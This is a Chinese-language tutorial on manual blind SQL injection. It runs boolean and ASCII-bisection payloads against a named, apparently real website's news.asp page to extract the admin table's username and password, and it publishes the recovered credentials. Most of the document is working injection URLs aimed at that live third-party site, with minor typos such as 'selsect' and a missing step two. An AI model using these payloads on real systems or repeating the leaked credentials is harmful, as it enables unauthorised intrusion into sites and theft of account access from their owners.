實戰演示手工SQL注入之半猜解查詢
第一步:判斷環境,尋找注入點
確定注入點 :數字型: 用'號報錯 就有注入的希望 或者 and 1=1 and 1=2 檢測 一個正常 一個返回不正常 95%存在注入點用
and exists (select * from 表名),如果存在該表名,返回正常,不存在返回錯誤;
第三步:猜解欄位
and exists (selsect 欄位名 from 表名)
第四步:猜解欄位長度(即猜解賬號密碼位數)
and (selsect top 1 len(欄位名 )from 表名)>0(從0開始依次隨意遞增,直到頁面顯示不正常,最後用等=確定位數)
mysql測試失敗,原因暫時不知;
第五步:折半法猜出--重要關鍵的一環 猜密碼 =0
and (select top 1 asc(mid(欄位,1,1)) from 表名)>0
and(select top 1 asc(mid(admin_name,1,1))from admin)>0
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_name,1,1))from admin)=97
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_name,2,1))from admin)=100
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_name,3,1))from admin)=109
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_name,4,1))from admin)=105
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_name,5,1))from admin)=110
97,100,109,105,110 使用者名稱:admin 密碼:liuguoping
and(select top 1 asc(mid(admin_pass,1,1))from admin)>0
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,1,1))from admin)=108
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,2,1))from admin)>105
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,3,1))from admin)>117
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,4,1))from admin)>103
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,5,1))from admin)>117
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,6,1))from admin)>111
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,7,1))from admin)>112
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,8,1))from admin)>105
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,9,1))from admin)>110
http://www.gzdongke.com/fagui/news.asp?id=1 and(select top 1 asc(mid(admin_pass,10,1))from admin)>103
108,105,117,103,117,111,112,105,110,103
第六步:用工具轉碼工具,把ASCII轉換成字元。